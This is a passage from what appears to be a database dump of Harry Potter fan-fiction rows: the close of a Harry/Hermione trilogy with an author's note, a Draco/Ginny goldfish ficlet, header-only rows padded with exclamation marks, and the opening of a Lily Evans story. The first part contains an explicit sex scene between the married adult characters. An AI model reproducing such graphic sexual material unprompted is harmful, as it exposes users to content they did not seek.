and he stood behind her with his arms secured around her waist.</p>\n\n<p>&#8220;Do you trust me, Hermione?&#8221;</p>\n\n<p>&#8220;Of course, Harry,&#8221; she replied without even thinking.</p>\n\n<p>She saw his smile in the mirror, and it quickly turned into a sly grin.</p>\n\n<p>&#8220;Spread your legs a little.&#8221;</p>\n\n<p>&#8220;What?&#8221; she gasped and turned her head to face him.&nbsp; He merely caught her lips in a fiery kiss.</p>\n\n<p>&#8220;You said you trusted me now do as I say.&#8221;</p>\n\n<p>Hermione felt a little nervous, but she obeyed.&nbsp; A few seconds later, she felt Harry&#8217;s skillful fingers cup her womanhood.&nbsp; He stroked her soft petals, and she immediately became aroused for him.</p>\n\n<p>Harry watched her face in the mirror and grinned at how easily he could make her burn with desire.&nbsp; He had an interesting idea planned.</p>\n\n<p>&#8220;Hmm, I love how wet you get for me, Hermione,&#8221; he whispered seductively and raised his hand to lick her essence from his fingertips.</p>\n\n<p>&#8220;It&#8217;s because it&#8217;s you, Harry,&#8221; she gasped and pressed back against him.</p>\n\n<p>Harry grinned widely and took hold of her hips.&nbsp; Looking at Hermione&#8217;s face in the mirror, he bent his knees and with practiced ease, drove himself straight into her core.</p>\n\n<p>&#8220;Harry!&#8221; she screamed and nearly collapsed against him.</p>\n\n<p>&#8220;Open your eyes, Hermione.&#8221;</p>\n\n<p>Obeying his wishes, she raised her eyelids and saw her reflection in the mirror.&nbsp; She saw Harry&#8217;s reflection smile, and his hands slide up to cup her breasts again.</p>\n\n<p>&#8220;Harry&#8230;what&#8230;are&#8230;you&#8230;doing?&#8221;</p>\n\n<p>&#8220;I want you to watch me make love to you; I want you to see the expression on your face when I&#8217;m inside you.&nbsp; You drive me crazy with how amazing you look when we&#8217;re together, and now, I want you to see it for yourself.&#8221;</p>\n\n<p>He said nothing more as hips began snapping against her backside.&nbsp; Hermione&#8217;s legs turned to jello, but Harry wouldn&#8217;t let her collapse.&nbsp; She watched her body flush with passion as it heated up from Harry&#8217;s movements.&nbsp; She tried to rock back against him as well, but his hands held her in place.&nbsp; Her mouth opened in a silent pout, but Harry merely squeezed her nipple, and her pout turned into a moan of pleasure.</p>\n\n<p>&#8220;Hmm, I love how you feel inside, Hermione; I wish this mirror was a full-length one.&#8221;</p>\n\n<p>&#8220;W-why?&#8221; she gasped between breaths.</p>\n\n<p>Harry squeezed her hips and thrust himself even deeper inside her.</p>\n\n<p>&#8220;Because then you could see where I&#8217;m going inside you.&nbsp; You&#8217;d be able to see how wet you are for me; I bet it&#8217;s running down your thighs right about now,&#8221; he growled into her hair.</p>\n\n<p>&#8220;Harry!&#8221; she gasped at his crude remark but silently agreed with him.&nbsp; She couldn&#8217;t believe how aroused she was!&nbsp; She remembered the animal that Harry could be in bed and decided to sit back and let herself be thoroughly fucked!</p>\n\n<p>&#8220;Dammit Hermione, you&#8217;re gonna kill me with this hot, little body of yours,&#8221; he moaned as sweat formed on his brow.</p>\n\n<p>&#8220;Then we&#8217;ll both go together!&#8221;</p>\n\n<p>Harry drilled himself into her body over and over again, pushing his control to its maximum.&nbsp; He listened to his wife scream out his name just as he&#8217;d wanted, and he knew that he&#8217;d never get tired of hearing her say his name like that.</p>\n\n<p>Feeling his body reaching its limit, Harry slid his hand down her body and stroked the core of her being.&nbsp; The result was the same as always.</p>\n\n<p>&#8220;Harry!&#8221; she cried out as her body shattered in his arms.</p>\n\n<p>&#8220;Yes&#8230;Hermione!&#8221; he answered and exploded into her softness.</p>\n\n<p>Somehow, they both managed to remain standing, and Harry slipped out of her channel.&nbsp; Hermione turned around with a satisfied but curious smile on her face.</p>\n\n<p>&#8220;Well&#8230;that erased my ideas of you being all romantic and gallant tonight.&#8221;</p>\n\n<p>&#8220;Who said I wasn&#8217;t going to be?&nbsp; However, after seeing you in that gorgeous dress all day, I just wanted to devour you on the spot, once we were alone.&#8221;</p>\n\n<p>&#8220;Oh really, so is the beast inside satiated?&#8221;</p>\n\n<p>&#8220;No, merely calmed for a short while, just like that part inside of you that acts like an insatiable nymph sometimes.&#8221;</p>\n\n<p>&#8220;That&#8217;s no way to talk to your wife, Harry.&#8221;</p>\n\n<p>He grinned and swept her up into his arms.</p>\n\n<p>&#8220;Oh yeah, but I like it when my wife&#8217;s an insatiable nymph.&#8221;</p>\n\n<p>He carried her over to the bed and laid her down on the soft mattress.&nbsp; Sliding in next to her, he curled his body around hers.</p>\n\n<p>&#8220;Well&#8230;I kinda like it as well&#8230;when you decide to just fuck me senseless!&#8221;</p>\n\n<p>&#8220;And I like it when you talk dirty, Herm.&#8221;</p>\n\n<p>Harry caught her lips for a long sensuous kiss, and Hermione slid her body on top of his.&nbsp; She loved being on top of him, and she knew that he loved it when she rode him.</p>\n\n<p>&#8220;Now that our desire is tamed for a while, why don&#8217;t you love me, Harry?&nbsp; Love me all night long!&#8221;</p>\n\n<p>Hermione reached behind her to find his erection ready and willing for her.&nbsp; Harry sighed in absolute bliss as he watched her slide her tight opening down his entire length.&nbsp; She laid her body down onto his and crushed their lips together.</p>\n\n<p>&#8220;Hmm&#8230;this time&#8230;take me nice and slow, Harry.&#8221;</p>\n\n<p>&#8220;I&#8217;m at your command, Mrs. Potter.&#8221;</p>\n\n<p>Their passion burned all night long and into the wee hours of the morning.&nbsp; Harry took her in every position he could think of, and Hermione added a few of her own as well.&nbsp; There final time was Hermione riding him once more, and she collapsed into his arms as the ecstasy claimed them both.</p>\n\n<p>Harry wrapped his tired arms around her, but he didn&#8217;t even think of pulling out of her.&nbsp; They would not be separated this night!&nbsp; Hermione&#8217;s eyes drooped shut, and she curled up on her favorite cushion &#8211; Harry&#8217;s chest.&nbsp; He, on the other hand, laid his head on his favorite pillow &#8211; her bushy, brown hair.</p>\n\n<p>Harry raised his hand slightly, and the covers were pulled over them.&nbsp; The fireplace was still going strong, but a wave of his hand lowered its glow down a few notches.&nbsp; There was nothing more either of them wanted than what they had this moment.</p>\n\n<p>&#8220;Goodnight&#8230;my darling seeker&#8230;&#8221;</p>\n\n<p>&#8220;Goodnight&#8230;my angelic bookworm&#8230;&#8221;</p>\n\n<p>Hermione opened her eyes the following morning to find herself wrapped in Harry&#8217;s arms.&nbsp; She leaned back against his chest, and a soft kiss on her neck let her know that he was awake.</p>\n\n<p>&#8220;Good morning, Mrs. Potter.&#8221;</p>\n\n<p>She rolled over and smiled at her husband.</p>\n\n<p>&#8220;Morning, love.&nbsp; That name sounds so wonderful coming from you.&#8221;</p>\n\n<p>&#8220;I&#8217;m glad to hear that.&nbsp; Now, would my darling wife care to see where I&#8217;ve brought her to?&#8221;</p>\n\n<p>&#8220;Well&#8230;only if my dashing husband agrees to give me the grand tour personally.&#8221;</p>\n\n<p>Reluctantly crawling out of bed, the pair quietly dressed, and Harry prepared to show her just where they&#8217;d be spending their honeymoon.</p>\n\n<p>Taking her hand, Harry led her out of the master bedroom and towards the staircase.&nbsp; Hermione&#8217;s eyes were wide as saucers as she took in the gorgeous interior.&nbsp; The stairwell and banister were made out of beautifully varnished cherry wood, there was small-size crystal chandelier hanging above what appeared to be the front door, and several house elves rushed out to meet them as they reached the bottom of the stairs.</p>\n\n<p>&#8220;Good morning, Master Harry&#8230;Mistress Hermione.&#8221;</p>\n\n<p>Hermione immediately recognized two of the house elves in the front of the group.</p>\n\n<p>&#8220;Dobby&#8230;Winky!&#8221;</p>\n\n<p>&#8220;At your service, milady.&#8221;</p>\n\n<p>She almost squealed with delight, and Harry tried not to chuckle.&nbsp; Hermione thought they all looked adorable.&nbsp; Each of the elves wore dark britches, but the male elves wore simple black shirts, while the female elves had on white shirts.</p>\n\n<p>&#8220;What are you doing here?&#8221;</p>\n\n<p>Dobby grinned slightly and looked at Harry.</p>\n\n<p>&#8220;Master Harry had asked Professor Dumbledore if I could come work here, and I was ecstatic when I realized that Harry Potter had requested me to be his house elf.&#8221;</p>\n\n<p>&#8220;And how many times has &#8216;Master Harry&#8217; asked you not to call him that,&#8221; Harry said with a slight glare.</p>\n\n<p>&#8220;Sorry sir, it is merely a habit; I will try to correct it.&#8221;</p>\n\n<p>&#8220;It&#8217;s all right, Dobby, you may call me and Hermione whatever you wish.&#8221;</p>\n\n<p>&#8220;Thank you, sir.&#8221;</p>\n\n<p>&#8220;And who might the rest of these fine elves be?&#8221; Hermione inquired.</p>\n\n<p>There were six others aside from Dobby and Winky.&nbsp; The males&#8217; names were Winch, Rygald, and Norris; the females&#8217; names were Dormia, Minia, and Yulia.</p>\n\n<p>&#8220;My&#8230;you all look wonderful dressed like that.&#8221;</p>\n\n<p>Dormia bowed slightly in response.</p>\n\n<p>&#8220;Thank you, our former mistress was the one who designed these for us.&#8221;</p>\n\n<p>&#8220;Then she has very good taste.&#8221;</p>\n\n<p>&#8220;Ah&#8230;there you are, my boy!&#8221;</p>\n\n<p>Harry grinned as he recognized the voice and turned to see Julian walk in the front door.</p>\n\n<p>&#8220;Where you been hiding all morning-?&#8221; he stopped as he saw Hermione with him.</p>\n\n<p>&#8220;Bloody hell&#8230;and who is this lovely piece of perfection.&nbsp; Would you be the lass who was crazy enough to marry this rascal?&#8221;</p>\n\n<p>Hermione blushed at the compliment, but smiled widely at she stared at Harry.</p>\n\n<p>&#8220;He does get into trouble, but I love him anyway.&#8221;</p>\n\n<p>Her husband brought her fingers to his lips and kissed them delicately.</p>\n\n<p>&#8220;Aye, Harry&#8217;s exactly like his father; poor Lily nearly went insane trying to keep him under control the first few years they were married.&#8221;</p>\n\n<p>&#8220;You knew Harry&#8217;s parents, sir?&#8221; Hermione asked with surprise.</p>\n\n<p>&#8220;Course I did, my dear, I work here as well, and call me Julian.&#8221;</p>\n\n<p>&#8220;Are the head of the household?&#8221; Julian actually laughed at her comment.</p>\n\n<p>&#8220;Not at all, I&#8217;d never want something that boring; I&#8217;m the caretaker of the grounds around here.&nbsp; I much prefer working outdoors than inside.&#8221;</p>\n\n<p>&#8220;Why don&#8217;t we go outside, Hermione?&#8221; Harry broke in.</p>\n\n<p>&#8220;Sure, I want to see where you brought me anyway.&#8221;</p>\n\n<p>As Harry led her out past the porch and front gate, the gorgeous scenery took Hermione&#8217;s breath away.&nbsp; She could see for miles around, there were several groves of trees to the west and north, and she could see a quaint little town at the bottom of the hill there were apparently on.</p>\n\n<p>&#8220;Harry, this place is gorgeous.&nbsp; How did you ever find it?&#8221;</p>\n\n<p>&#8220;Oh, I had a bit of help,&#8221; he replied cryptically.&nbsp; His smile turned to a sly grin.</p>\n\n<p>&#8220;Why, would you want to stay here forever?&#8221;</p>\n\n<p>&#8220;Well&#8230;&#8221; Hermione&#8217;s trailed off as her cheeks turned pink.&nbsp; She loved this setting so much, but they&#8217;d never find another place like this anywhere.</p>\n\n<p>&#8220;&#8230;Harry, I would love us to have a house as wonderful as this, but we&#8217;d never find a place that looked so&#8230;so&#8230;magical.&#8221;</p>\n\n<p>Hermione didn&#8217;t know a better word to describe the house and grounds.&nbsp; She turned to see Harry trying not to laugh, and Julian &#8211; who was standing by the front door &#8211; was covering his mouth up as well.</p>\n\n<p>&#8220;Okay, would two care to let me in on the joke?&nbsp; What&#8217;s so damn funny?&#8221; she hissed.</p>\n\n<p>Harry couldn&#8217;t help it and started bawling; the look on her face was priceless.</p>\n\n<p>&#8220;I have a surprise for you, my dearest Hermione.&#8221;</p>\n\n<p>He turned to face Julian and nodded his head.&nbsp; The older man took out his wand and tapped a metal plate next to the doorway.&nbsp; The rectangular piece of iron glowed slightly, and Julian backed away.</p>\n\n<p>&#8220;Harry, what&#8217;s going on?&#8221;</p>\n\n<p>Her husband did not respond, but instead, he turned to face the plate and raised his hands.&nbsp; He aimed both index fingers and streams of fire shot of his hands.&nbsp; They struck the iron and began moving along its face.&nbsp; Hermione suddenly realized that they were engraving something on it.&nbsp; It took about a minute for Harry to finish and then he lowered his hands.&nbsp; Hermione gazed at his handiwork, and her heart nearly stopped.&nbsp; It was a simple group of words:</p> HOME SWEET HOME H &amp; H POTTER <p>Harry turned to see tears streaming down his wife&#8217;s cheeks, and he walked over to take her in his arms.</p>\n\n<p>&#8220;Harry&#8230;this can&#8217;t be&#8230;we can&#8217;t be&#8230;&#8221;</p>\n\n<p>&#8220;Yes, it is, Hermione; this is our home.&nbsp; It belonged to my parents; it was the place I was born; and now, it belongs to us.&#8221;</p>\n\n<p>&#8220;This is your house!&#8221; she gasped in shock.</p>\n\n<p>&#8220;No, this is our house, angel.&#8221;</p>\n\n<p>Hermione couldn&#8217;t help herself and kissed the bloody hell out of her husband.&nbsp; Julian chuckled slightly and excused himself to head back inside; those two were exactly like James and Lily.</p>\n\n<p>&#8220;Harry&#8230;I feel like I&#8217;m dreaming&#8230;this is all too perfect&#8230;&#8221;</p>\n\n<p>&#8220;No, Hermione, it&#8217;s just magic.&nbsp; We&#8217;ve both suffered and fought; we&#8217;ve both felt pain and sadness; now, it&#8217;s time for us to be blissfully happy.&#8221;</p>\n\n<p>Without further adieu, Harry swept her up into his arms, and Hermione squealed with delight.</p>\n\n<p>&#8220;Now Hermione, it&#8217;s time I fulfill my marital obligations.&#8221;</p>\n\n<p>&#8220;What do you mean?&#8221;</p>\n\n<p>&#8220;To care my wife over the threshold!&#8221;</p>\n\n<p>She laughed as he carried her back inside.</p>\n\n<p>Harry did not set her down when they walked through the door.&nbsp; He carried her past the staircase and into a room off to the side.&nbsp; They entered a large room that had polished wood cabinets, a large mahogany desk, and a plush leather couch.&nbsp; Hermione recognize the design as a den.&nbsp; Harry put her down, and she saw a large trophy case against the wall.&nbsp; She walked over to it and saw three shelves inside.&nbsp; The top one held various awards and plaques with the name &#8216;James Potter&#8217; engraved on them; the second shelf held similar items with the name &#8216;Harry Potter&#8217; engraved on them; but the last shelf was empty.</p>\n\n<p>&#8220;Harry, why is this shelf empty?&#8221;</p>\n\n<p>&#8220;Oh, I did that so we&#8217;d have room to add our children&#8217;s awards in there as well.&#8221;</p>\n\n<p>Hermione looked at him in surprise, but her smile was warm and loving.&nbsp; She then noticed a marble fireplace against the wall in front of the couch and two portraits sat on top of the mantle covered with tarps.</p>\n\n<p>&#8220;What are those?&#8221; she asked and pointed at the paintings.&nbsp; Harry smiled brightly.</p>\n\n<p>&#8220;My last surprise, Hermione.&nbsp; Come here,&#8221; and he pulled her into his arms.</p>\n\n<p>Facing the two paintings, Harry snapped his fingers, and one of the tarps dropped away.&nbsp; Hermione&#8217;s widened as she saw a picture of Harry&#8217;s parents.</p>\n\n<p>&#8220;It&#8217;s their wedding picture!&#8221; she gasped.</p>\n\n<p>&#8220;Yup, and now&#8230;&#8221; Harry snapped his fingers again, and the second tarp dropped away.</p>\n\n<p>It revealed an equally beautiful portrait of Harry and Hermione on their wedding day.</p>\n\n<p>&#8220;There, now, we have a matched set,&#8221; he chuckled.</p>\n\n<p>Hermione was speechless; she didn&#8217;t know what to say.&nbsp; Harry pulled her closer and looked up at the picture of his parents.</p>\n\n<p>&#8220;Mom&#8230;Dad&#8230;I&#8217;d like you to meet your new daughter-in-law; this is Hermione.&nbsp; I know you&#8217;d both love her, and she means more to me than anything.&nbsp; She is the girl of my dreams and the angel of my soul.&#8221;</p>\n\n<p>&#8220;Harry&#8230;&#8221; Hermione let the tears flow freely as she listened to his heartfelt words, and she too looked up at the portrait of who would&#8217;ve been her new parents.</p>\n\n<p>&#8220;Mr. and Mrs. Potter, thank you for bringing Harry into this world; I would be lost without him.&nbsp; I promise that I will always take care of him, and I will love him forever.&nbsp; I just wish I could&#8217;ve known you as well&#8230;Mom&#8230;Dad&#8230;&#8221;</p>\n\n<p>Harry pulled his wife into his arms, and their lips met in a kiss that veritably lit up the room with its love and purity.</p>\n\n<p>&#8220;I love you, Harry Potter.&#8221;</p>\n\n<p>&#8220;I love you, Hermione Potter.&#8221;</p>\n\n<p>They embraced once again and didn&#8217;t care how long it lasted this time.&nbsp; They would make this kiss last as long as the universe itself if need be.</p>\n\n<p>At that moment, the life and story of the Boy Who Lived came to an end, but&#8230;the life and story of Harry and Hermione Potter was just beginning.</p>\n\n<p>Author&#8217;s Notes:&nbsp; At last, it took me several months to come up with an ending I&#8217;m proud of, but it is finally finished.&nbsp; My trilogy is finally over, and to be honest, I&#8217;m quite sad about it.&nbsp; I have loved this story since the day I began it.&nbsp; I originally just wanted this to be a somewhat long one-shot, but I just couldn&#8217;t stop myself.&nbsp; So, here I am after over three years and five hundred pages of writing, I am at last finished.&nbsp; I wish to thank all of my readers and reviewers for keeping me going; I truly love you all.&nbsp; Thank you for sticking me when I made you wait for months at a time for new chapters; I refused to post something I wouldn&#8217;t read myself.&nbsp; I wish to thank J.K. Rowling for creating such wonderful characters, and I give her all the credit for their creation and inspiring this feeble attempt at following in a legacy of such genius.&nbsp; She is a true mistress of her craft.</p> '),
	(245, 1, '\n<b>VF:</b><br>\nHello, another fic from me. Only this is a ficlet, so don&#8217;t be expecting anymore, it was a one-shot, meaning that there&#8217;s only one chapter. OOC, short, I don&#8217;t care&#8212;I just sort of had the idea and needed to write it. If anyone can tell me (first person) what the commercial (be exact on the product) was for that inspired this fic, I will give them&#8230;.a sneak preview to the next chapter of Heroes Shed No Tears. I guess it would be sort of like seeing the chapter before everyone else (with the exception of my beta readers). But&#8230;yeah.\n<br><br>\n<b>Disclaimer:  </b><br>\nDon&#8217;t own Draco and Ginny; do own the goldfish. Based on a commercial.\n<br><br>\n<center>\n<b>Goldfish</b>\n</center>\n<br><br>\n&#8220;It&#8217;s not that heavy.&#8221; Ginny gritted her teeth and tried to pull the tank out of the back of her car. She had just moved into Muggle London and had just gotten her driver&#8217;s license after many years of tutelage from Harry and lessons.\n<br><br>\nThe little goldfish flitted around inside the tank, moving around the plants that swayed in the water as Ginny tried to get a good grip on it. The fish tank itself wasn&#8217;t all that big, but big enough that when it was filled with water, it was too heavy for Ginny to pick up by herself. And since she was in the middle of Muggle London there was no way that she could just pull out her wand and put a spell on the fish tank.\n<br><br>\nShe eased her fingers underneath the glass. &#8220;Come on&#8230;&#8221; she whispered, looking down at her little fish. She frowned at them. &#8220;I hope you realize how much my back is suffering for you,&#8221; she told them.\n<br><br>\nShe slid the tank on the carpeted floor in the back of her car; it came closer to the edge and she was able to get a better grip on it. She looked around making sure that there wasn&#8217;t anyone blocking her path to the front of the apartment building. There was a small table in the entry way where she could set the tank down on it for a quick break after she cleared the doors. \n<br><br>\nShe let out a low sigh and pulled the tank out of the trunk, trying to balance it in her hands. She had her arms wrapped around it and her fingers clutching at the edges of the glass. She could feel the glass slipping underneath her finger already. &#8220;Shit,&#8221; she said. &#8220;Knew I shouldn&#8217;t have eaten that burger for lunch. Bloody grease.&#8221; \n<br><br>\nThe fish tank slipped out of her grasp and the glass fell to the cement paved ground. The super of her building had just stepped out to water the flowers planted in the pots that were lining the stairs leading up to the front doors. &#8220;Damn!&#8221; Ginny slammed her hand against the tail of the car and looked down at all seven of her goldfish that were flopping around on the ground frantically.\n<br><br>\nShe let out a shaky sigh, and then found a hand reaching back into her trunk and pulling out her make up caboodle, flipping it open and tipping all of her makeup into the trunk.\n<br><br>\n She gasped and turned to look at the owner of the hand. A man with pale blond hair was already picking up goldfish from the ground and putting them into the caboodle. What else was there for her to do? She got on the ground and started picking them up to, as fast as she could, almost flinging them into the caboodle; she wasn&#8217;t sure if it was because she feared for their lives or if the goldfish just felt so weird she had to get them in the caboodle before there was any prolonged contact. \n<br><br>\nIn a matter of seconds, all of the goldfish were secured in the caboodle. The man gave her a small smile and ran the caboodle over to the super. The super took his water hose out of his flowers and directed the stream of water into the caboodle. Ginny watched and walked over to the pale haired man. \n<br><br>\nShe reached out and touched his arm. &#8220;Thank you.&#8221; She looked down into the caboodle and saw her goldfish darting and bumping into each other in the small space of water. She let out a small sigh of relief, they hadn&#8217;t died.\n<br><br>\n&#8220;No problem,&#8221; he said, looking down at the small fishes.\n<br><br>\nGinny looked up at him. He looked startlingly familiar. She took in his grey eyes, pale blond hair, tall, lean figure, long fingers and hard angled face. She knew him.\n<br><br>\n&#8220;Would you like to come up?&#8221; She gestured to the apartment building. &#8220;I&#8217;m sure I have something bigger for them in there.&#8221; The goldfish did need something bigger, there wasn&#8217;t really enough room for all of them in the caboodle. Ginny had been making trips from the flat she&#8217;d shared with Hermione all day, now all she had left to get were a few boxes of clothes and linens. \n<br><br>\nHe raised an eyebrow, looking at her, then back to the fish. &#8220;I think the fish will be okay&#8230;I&#8217;ve got to&#8212;&#8217;&#8217;\n<br><br>\n&#8220;Please?&#8221;\n<br><br>\nHe gave her another look. &#8220;It&#8217;s alright, I live in this building as well. Won&#8217;t hurt, will it?&#8221;\n<br><br>\nShe smiled. &#8220;Really? You live in this building too?&#8221;\n<br><br>\n&#8220;I do believe that&#8217;s what I just said.&#8221; His eyes were alight with amusement.\n<br><br>\nShe nodded. &#8220;Right then, let&#8217;s go up.&#8221;\n<br><br>\nThey climbed the stairs silently. There was no way that Ginny was going to take the elevator, she still hadn&#8217;t gotten used to those things. Hermione used to tease her about it all the time and Ginny would say that at least she benefited from taking the stairs, they provided exercise. They approached her door and she fumbled with her key ring, looking for the right one. \n<br><br>\n&#8220;Bugger,&#8221; she said under her breath. Maybe if she just slipped her wand out&#8230;she&#8217;d have to make sure he didn&#8217;t see. For all she knew, he was a Muggle.  She looked at him and saw that he was looking off a ways at a message board. &#8220;<i>Alohamora</i>,&#8221; she whispered, her wand held firmly to her side.\n<br><br>\nWhen she looked up, he was looking at her funnily. She blinked. &#8220;You&#8217;re a witch, are you?&#8221;\n<br><br>\n&#8220;Uhhh,&#8221; she could think of no intelligent reply. The door was open by now, giving a view of scattered boxes and misplaced furniture. \n<br><br>\nHe pushed her into the room gently and shut the door behind him. &#8220;A witch? Did you go to Hogwarts?&#8221;\n<br><br>\nGinny&#8217;s eyebrows furrowed. Either this guy was a very knowledgeable Muggle or a wizard. &#8220;Yes,&#8221; she said. &#8220;Did you?&#8221; He nodded. Right, he was a wizard. \n<br><br>\n&#8220;Did you say that you had something else for the fish?&#8221; he asked, changing the subject.\n<br><br>\n&#8220;Oh, right,&#8221; she said. She moved further into the apartment and pulled open a box. She pulled out a miniature fish tank and set it on the kitchen counter and enlarged it. &#8220;There,&#8221; she said. He raised an eyebrow. &#8220;What? I always kept a spare just in case something happened to the other one.&#8221;\n<br><br>\n&#8220;Aren&#8217;t you going to fill it with water?&#8221;\n<br><br>\n&#8220;Of course.&#8221; She turned on the faucet at the kitchen sink and charmed the water to go into the tank. Merlin, she was she glad she was a witch. She took the caboodle from him when the tank was almost full, stopped the water, and poured the fish in. She finished and wiped her hands off on her jeans. She turned towards him and tilted her head to the side, taking in his appearance once more, all of the hard planes of his face, and the pools of grey that made up his eyes.\n<br><br>\n&#8220;Thank you.&#8221; Then she said hesitantly, &#8220;Draco.&#8221;\n<br><br>\nHe lifted an eyebrow and nodded. &#8220;That would be me.&#8221; The corner of his mouth tilted up in a slight grin. &#8220;I see not all Weasleys are as dense as your brother.&#8221;\n<br><br>\nGinny smiled. &#8220;Of course not, Ron is a one of a kind.&#8221;\n<br><br>\nDraco stole a glance at his watch. &#8220;Been moving boxes all day?&#8221;\n<br><br>\nHer shoulder&#8217;s sagged a bit. &#8220;It seems to have been forever and a day.&#8221;\n<br><br>\n&#8220;Would you mind me asking to take you to dinner?&#8221; Draco asked smoothly, resting his elbow back on the kitchen counter.\n<br><br>\nGinny smiled slowly. &#8220;I wouldn&#8217;t mind. Dinner sounds great.&#8221;\n<br><br>\n&#8220;I&#8217;ll be back in five.&#8221; Draco said, pushing himself up off of the counter and heading towards the door. He shut it softly behind him. Ginny slumped against the wall with a giddy grin on her face.\n<br><br>\n-\n<br><br>\n&#8220;Thanks,&#8221; Ginny said. They were standing in front of her apartment. &#8220;I had a great time.&#8221;\n<br><br>\nDraco shrugged it off. &#8220;It was no problem. You had a long day.&#8221;\n<br><br>\n&#8220;You&#8217;ve changed a lot since school,&#8221; Ginny commented.\n<br><br>\n&#8220;Everyone has to grow up sometime,&#8221; Draco said softly. &#8220;I just never did while I was at school.&#8221;\n<br><br>\nGinny nodded. &#8220;That&#8217;s okay. You&#8217;re fantastic now.&#8221; \n<br><br>\nDraco arched an eyebrow. &#8220;Fantastic?&#8221;\n<br><br>\nA blush rose in Ginny&#8217;s cheeks. &#8220;Yes,&#8221; she mumbled.\n<br><br>\nDraco grinned. He put his fingers under her chin and lifted until her eyes met his. He stared at her, and she looked back at him, shyly. His eyes probed hers and slowly he leaned down and his lips brushed against her. Lightly at first, then with a bit more pressure. Her fingers found themselves tangled up in his hair, while his wandered down to splay against her back. \n<br><br>\nGinny&#8217;s elbow knocked against the doorknob, turning it open. They stumbled into her apartment. The only light was that of the moonlight shining off of the golden scales on the goldfish.\n<br><br><br><br><br><br>\n\n-FIN-\n\n'),
	(246, 1, '\nHarry Potter and the Veneficus Quies: 1/16<br>\nBy Atlantis Potter (atlantispotter@yahoo.com)<br>\nRating: R <br>\nSpoilers: All 4 Books<br>\nDisclaimer:  This story is based on characters and situations created and owned by JK Rowling,\nvarious publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast\nBooks, and Warner Bros., Inc. No money is being made and no copyright or trademark\ninfringement is intended.<br>\n<br>!!!!!!!!!!!!!!!!!!!'),
	(246, 2, '\nHarry Potter and the Veneficus Quies: 2/16<br>\nBy Atlantis Potter (atlantispotter@yahoo.com)<br>\nRating: R <br>\nSpoilers: All 4 Books<br>\nDisclaimer:  This story is based on characters and situations created and owned by JK Rowling,\nvarious publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast\nBooks, and Warner Bros., Inc. No money is being made and no copyright or trademark\ninfringement is intended.<br>\n<br>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'),
	(246, 3, ''),
	(251, 1, '<p class="MsoBodyText">The soft breeze ruffled the pale yellow curtains of\nseventeen-year-old Lily Evans’ bedroom. It was a normal bedroom at first sight,\nbut anyone who cared to look close enough could see that it was anything but…\nYou see, Lily Evans was a witch, and she attended the most infamous wizarding\nacademy in Europe, actually, in the entire world, Hogwarts School of Witchcraft\nand Wizardry. In odd places there could be found a book of spells or hexes, or\nif you even looked closer you’d see some fallen feathers from her most prized\nfriend and pet, Moira, an owl.</p>\n<p class="MsoNormal">!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'),
	(251, 2, ' <p>The soft breeze ruffled the pale yellow curtains of seventeen-year-old Lily Evans&#8217; bedroom. It was a normal bedroom at first sight, but anyone who cared to look close enough could see that it was anything but&#8230; You see, Lily Evans was a witch, and she attended the most infamous wizarding academy in Europe, actually, in the entire world, Hogwarts School of Witchcraft and Wizardry. In odd places there could be found a book of spells or hexes, or if you even looked closer you&#8217;d see some fallen feathers from her most prized friend and pet, Moira, an owl.</p>\n\n<p>&nbsp;</p>\n\n<p>A relatively tall, slim girl with dark auburn hair and dazzling green eyes, clad in bell-bottoms and a blue blouse walked into the room. With a sigh she plopped herself on the bed adjacent to the window, she was expecting Moira to return. </p>\n\n<p>&nbsp;</p>\n\n<p>Lily perked up when she heard a soft &#8216;hoot&#8217; echo through her room. Moira was back, though she wasn&#8217;t alone as expected. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s odd,&#8221; thought Lily to herself, &#8220;I already received my school letter.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Even though the accompanying owl struck her as odd, she accepted the letter it bore and it graciously accepted the treat, which Lily had offered it.</p>\n\n<p>&nbsp;</p>\n\n<p>Moira, growing rather impatient, hooted in anticipation as Lily strode over to take the letter, which she bore. Lily gave Moira a treat and the owl flew out the window again, this time not on assignment, but to explore the neighborhood.</p>\n\n<p>&nbsp;</p>\n\n<p>Opening the letter that came from the school first Lily nearly fell down. As she read the letter she became filled with intense joy and as she read on, intense dismay. </p>\n\n<p>&nbsp;</p>\n\n<p>You see, Lily had been made Head Girl! The only draw back was, she would have to work along side the arrogant, pig-headed, ass, James Potter, whom she absolutely despised. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ooo, how could they?&#8221; Lily cried. &#8220;I can&#8217;t believe it, I have to work with <i>POTTER</i>!&#8221; the last word in the phrase dripping with sarcasm. </p>\n\n<p>&nbsp;</p>\n\n<p>Tossing the letter on the bedside table she picked up the letter, which Moira had delivered. As she read the envelope she immediately recognized the writing, it was that of her boyfriend, Joshua Lamour. </p>\n\n<p>&nbsp;</p>\n\n<p>Barely able to contain her vast amounts of joy she hurriedly ripped at the envelope. Shaking open the letter she began to read, and as she read on things went downhill until it ended and left her crying.</p>\n\n<p>&nbsp;</p>\n\n<p><i>Dearest Lilian,</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>I do realize that we have been going together for quite sometime, and that&#8217;s exactly what I wanted to tell you about. You see, I feel as though I have not experienced life, as of yet, to it&#8217;s fullest extent. Therefore, I am leaving you. I will not been in correspondence for some time, so do not expect to hear from me. Good day.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>~Joshua M. Lamour</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>&#8220;HOW COULD HE?&#8221; cried Lily as she wiped tears away from her delicate cheek.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Keep it DOWN!&#8221; a voice called from the hall.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shut up, 